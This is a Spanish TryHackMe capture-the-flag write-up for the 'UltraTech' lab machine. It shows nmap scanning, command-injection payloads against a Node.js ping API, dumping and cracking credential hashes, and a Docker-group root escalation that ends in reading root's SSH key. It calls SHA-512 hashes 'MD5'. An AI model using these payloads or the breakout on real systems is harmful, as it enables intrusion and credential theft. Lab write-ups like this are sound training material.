TryHackMe Medium Linux Node.js Command Injection Docker

UltraTech

API Node.js vulnerable a command injection. Credenciales en SQLite crackeadas con John. Escalada a root mediante grupo Docker.

Sep 2022 ~60 min cat4clysm
Herramientas utilizadas
nmap curl john docker netcat

Reconocimiento

root@kali:~$
nmap -sV -sC -p 21,22,8081,31331 10.10.241.39
21/tcp    open  ftp     vsftpd 3.0.3
22/tcp    open  ssh     OpenSSH 7.6p1
8081/tcp  open  http    Node.js Express framework
31331/tcp open  http    Apache httpd 2.4.29 - UltraTech

El sitio en el puerto 31331 menciona una API en el puerto 8081. Enumeramos los endpoints:

root@kali:~$
curl http://10.10.241.39:8081/ping?ip=127.0.0.1
PING 127.0.0.1 (127.0.0.1): 56 data bytes
El endpoint /ping ejecuta comandos del sistema sin sanitizar el parámetro ip.

Command Injection

root@kali:~$
curl "http://10.10.241.39:8081/ping?ip=\`id\`"
uid=1001(www) gid=1001(www) groups=1001(www),116(docker)

Leemos la base de datos SQLite con las credenciales:

root@kali:~$
curl "http://10.10.241.39:8081/ping?ip=\`cat+users.db\`"
r00t:$6$hash...
lp1:$6$hash...

Crackeamos los hashes MD5 con John y nos conectamos por SSH.

Escalada — Docker breakout

El usuario pertenece al grupo docker — esto permite escalar a root montando el filesystem del host:

r00t@ultratech:~$
docker run -v /:/mnt --rm -it bash chroot /mnt sh
# whoami
root
# cat /root/.ssh/id_rsa

Lecciones aprendidas